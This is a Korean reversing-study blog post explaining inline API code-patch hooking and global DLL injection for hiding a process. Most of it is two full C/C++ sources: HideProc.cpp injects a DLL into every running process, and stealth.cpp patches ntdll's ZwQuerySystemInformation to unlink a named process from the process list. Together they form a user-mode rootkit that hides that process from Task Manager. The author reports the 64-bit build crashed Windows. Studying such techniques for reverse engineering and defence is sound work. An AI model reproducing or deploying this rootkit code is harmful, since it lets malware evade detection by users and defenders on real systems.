API Hooking - API Code Patch, Global Hooking
API Code Patch, Global Hooking을 이용한 Stealth Process(Rootkit) 기법에 대해서 알아보도록 하겠습니다.
API Code Patch 원리
Code Patch 방식은 실제 API 코드 시작 5바이트 값을 JMP XXXX 명령어로 패치하는 방식입니다.
Hooking된 API가 호출되면 JMP XXXX 명령어가 실행되어 후킹 함수로 제어가 넘어옵니다.
Code Patch는 프로세스에서 사용되는 어떤 API라도 후킹을 할 수 있습니다. 제한사항으로는 API 코드의 길이가 최소 5바이트 보다 커야 한다는 것.
하지만 API의 코드 크기는 5바이트 보다 크기 때문에 사실상 제한이 없다.
※ 프로세스의 다른 Thread에서 어떤 함수를 read()하고 있을 때 코드 패치를 시도하면 Access Violation Error가 발생할 수 있습니다.
Stealth Process
Stealth Process를 할 때 가장 많이 사용되는 것이 User Mode에서 ntdll.ZwQuerySystemInformation() 입니다.
일반적으로 User Mode에서 프로세스를 검색하기 위한 API는 CreateToolhelp32Snapshot()과 EnumProcess() 입니다.
이 두가지 API는 ZwQuerySystemInformation()을 호출하기 때문에 이 API를 후킹 하면 됩니다.
ZwQuerySystemInformation()을 이용하면 실행 중인 모든 프로세스의 정보를 링크드 리스트 형식으로 얻을 수 있다. 이 링크드 리스트를 조작하면 해당 프로세스는 은폐가 되는 것.
문제점
은폐하고자 하는 프로그램을 stealth.exe라고 한다면 stealth.exe의 ZwQuerySystemInformation()을 후킹하는게 아니라 작업관리자의 ZwQuerySystemInformatioin()을 후킹하여 stealth.exe 프로그램을 찾지 못하게 하는 것입니다.
문제점은 작업관리자1은 후킹이 되어 stealth.exe를 찾지 못하게 만들었지만 작업관리자2를 새로 실행시켜 후킹이 되어있지 않으면 stealth.exe는 노출되게 됩니다.
해결 방안
따라서 새로 실행되는 작업관리자(또는 Process Explorer)에서도 모두 보여지면 안되기 때문에 Global Hooking을 이용해야 합니다.
시스템 전체에 Hooking을 한다고 해서 Global Hooking이라고 합니다.
ZwQuerySystemInformation() https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms725506(v=vs.85).aspx
SystemInformationClass 파라미터를 SystemProcessInformation(5)로 세팅하고, ZwQuerySystemInformation()을 호출하면 SystemInformation 파리미터에 SYSTEM_PROCESS_INFOMATION 단방향 링크드 리스트의 시작 주소가 저장된다.
이 링크드 리스트에 실행 중인 모든 프로세스의 정보가 담겨 있는데, 은폐하고 싶은 프로세스에 해당하는 리스트 멤버를 찾아서 리스트 연결을 끊어버리면 된다.
<HideProc.cpp>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 | #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <tchar.h> typedef void (*PFN_SetProcName)(LPCTSTR szProcName); enum {INJECTION_MODE = 0, EJECTION_MODE}; BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess, hThread; LPVOID pRemoteBuf; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc; if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { printf("OpenProcess(%d) failed!!!\n", dwPID); return FALSE; } pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuf,(LPVOID)szDllPath, dwBufSize, NULL); pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE; } BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath) { BOOL bMore = FALSE, bFound = FALSE; HANDLE hSnapshot, hProcess, hThread; MODULEENTRY32 me = { sizeof(me) }; LPTHREAD_START_ROUTINE pThreadProc; if( INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) ) return FALSE; bMore = Module32First(hSnapshot, &me); for( ; bMore ; bMore = Module32Next(hSnapshot, &me) ) { if( !_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath) ) { bFound = TRUE; break; } } if( !bFound ) { CloseHandle(hSnapshot); return FALSE; } if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { CloseHandle(hSnapshot); return FALSE; } pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnapshot); return TRUE; } BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) { DWORD dwPID = 0; HANDLE hSnapShot = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe; // System Snapshot pe.dwSize = sizeof( PROCESSENTRY32 ); hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL ); // Search Process Process32First(hSnapShot, &pe); do { dwPID = pe.th32ProcessID; // PID가 100보다 작은 것은 Injection을 하지 않는다. System Process에는 Injection을 하지 않는다. if( dwPID < 100 ) continue; if( nMode == INJECTION_MODE ) InjectDll(dwPID, szDllPath); else EjectDll(dwPID, szDllPath); } while( Process32Next(hSnapShot, &pe) ); CloseHandle(hSnapShot); return TRUE; } int _tmain(int argc, TCHAR* argv[]) { int nMode = INJECTION_MODE; HMODULE hLib = NULL; PFN_SetProcName SetProcName = NULL; if( argc != 4 ) { printf("\n Usage : HideProc.exe <-hide|-show> "\ "<process name> <dll path>\n\n"); return 1; } // change privilege SetPrivilege(SE_DEBUG_NAME, TRUE); // load library hLib = LoadLibrary(argv[3]); // set process name to hide SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName"); SetProcName(argv[2]); // Inject(Eject) Dll to all process if( !_tcsicmp(argv[1], L"-show") ) nMode = EJECTION_MODE; InjectAllProcess(nMode, argv[3]); // free library FreeLibrary(hLib); return 0; } | cs |
<stealth.cpp>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 | #include <windows.h> #include <tchar.h> #define STATUS_SUCCESS (0x00000000L) typedef LONG NTSTATUS; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45 } SYSTEM_INFORMATION_CLASS; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; BYTE Reserved1[48]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); #define DEF_NTDLL ("ntdll.dll") #define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation") // global variable (in sharing memory) #pragma comment(linker, "/SECTION:.SHARE,RWS") #pragma data_seg(".SHARE") // 공유 메모리 섹션 TCHAR g_szProcName[MAX_PATH] = {0,}; // 은폐하는 프로세스 이름을 저장. #pragma data_seg() // global variable BYTE g_pOrgBytes[5] = {0,}; BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes) { /* szDllName : 후킹하려는 API가 포함된 DLL 파일 이름. szFuncName : 후킹하려는 API 이름. pfnNew : 사용자가 제공한 후킹 함수 주소. pOrgBytes : 원본 5바이트를 저장시킬 버퍼 - 언훅에서 사용됨. */ FARPROC pfnOrg; DWORD dwOldProtect, dwAddress; BYTE pBuf[5] = {0xE9, 0, }; PBYTE pByte; // 후킹 대상 API 주소를 구한다 pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pfnOrg; // 만약 이미 후킹 되어 있다면 return FALSE if( pByte[0] == 0xE9 ) // JMP Hex Value 0xE9 return FALSE; // 5 byte 패치를 위하여 메모리에 WRITE 속성 추가 VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 기존 코드 (5 byte) 백업 memcpy(pOrgBytes, pfnOrg, 5); // JMP 주소 계산 (E9 XXXX) // => XXXX = 사용자가 만든 함수 주소(pfnNew) - 원래 API 주소(pfnOrg) - 5 // 5를 빼주는 이유는 JMP 명령어 자체 길이 5바이트를 보정 해주는 것. // CPU가 명령어 포인터를 계산 할 때 + 5를 한다. http://eram.tistory.com/entry/API-Hooking-x86 dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5; memcpy(&pBuf[1], &dwAddress, 4); // Hook - 5 byte 패치 (JMP XXXX) memcpy(pfnOrg, pBuf, 5); // 메모리 속성 복원 VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect); return TRUE; } BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes) { FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; // API 주소 구한다 pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; // 만약 이미 언후킹 되어 있다면 return FALSE if( pByte[0] != 0xE9 ) return FALSE; // 원래 코드(5 byte)를 덮어쓰기 위해 메모리에 WRITE 속성 추가 VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); // Unhook memcpy(pFunc, pOrgBytes, 5); // 메모리 속성 복원 VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE; } NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { NTSTATUS status; FARPROC pFunc; PSYSTEM_PROCESS_INFORMATION pCur, pPrev; char szProcName[MAX_PATH] = {0,}; // 작업 전에 unhook unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes); // original API 호출 pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), DEF_ZWQUERYSYSTEMINFORMATION); status = ((PFZWQUERYSYSTEMINFORMATION)pFunc) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if( status != STATUS_SUCCESS ) goto __NTQUERYSYSTEMINFORMATION_END; // SystemProcessInformation 인 경우만 작업함 if( SystemInformationClass == SystemProcessInformation ) { // SYSTEM_PROCESS_INFORMATION 타입 캐스팅 // pCur 는 single linked list 의 head pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while(TRUE) { // 프로세스 이름 비교 // g_szProcName = 은폐하려는 프로세스 이름 // (=> SetProcName() 에서 세팅됨) if(pCur->Reserved2[1] != NULL) { if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName)) { // 연결 리스트에서 은폐 프로세스 제거 if(pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; } else pPrev = pCur; } if(pCur->NextEntryOffset == 0) break; // 연결 리스트의 다음 항목 pCur = (PSYSTEM_PROCESS_INFORMATION) ((ULONG)pCur + pCur->NextEntryOffset); } } __NTQUERYSYSTEMINFORMATION_END: // 함수 종료 전에 다시 API Hooking hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes); return status; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { char szCurProc[MAX_PATH] = {0,}; char *p = NULL; // 현재 프로그램은 Hooking 예외 GetModuleFileNameA(NULL, szCurProc, MAX_PATH); p = strrchr(szCurProc, '\\'); if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") ) return TRUE; switch( fdwReason ) { // API Hooking case DLL_PROCESS_ATTACH : hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes); break; // API Unhooking case DLL_PROCESS_DETACH : unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes); break; } return TRUE; } #ifdef __cplusplus extern "C" { #endif __declspec(dllexport) void SetProcName(LPCTSTR szProcName) { _tcscpy_s(g_szProcName, szProcName); } #ifdef __cplusplus } #endif | cs |
모두 64비트로 컴파일 해서 notepad.exe를 숨기고자 실행을 했는데, Windows가 뻑나서 재부팅 됩니다.
자세한 내용은 http://eram.tistory.com/entry/API-Hooking-x86 여기서 확인하시길...
일단 API Hooking 부분은 패스... 너무 진도가 안나간다.
'High Level Technique > Reversing' 카테고리의 다른 글
WinDBG명령어와 분석방법 (0) | 2016.07.26 |
---|---|
64비트에서 달라진 점 (0) | 2016.07.26 |
API Hooking - IAT Hooking (3) | 2016.07.25 |
API Hooking - Debug Technique (0) | 2016.07.19 |
API Hooking (0) | 2016.07.19 |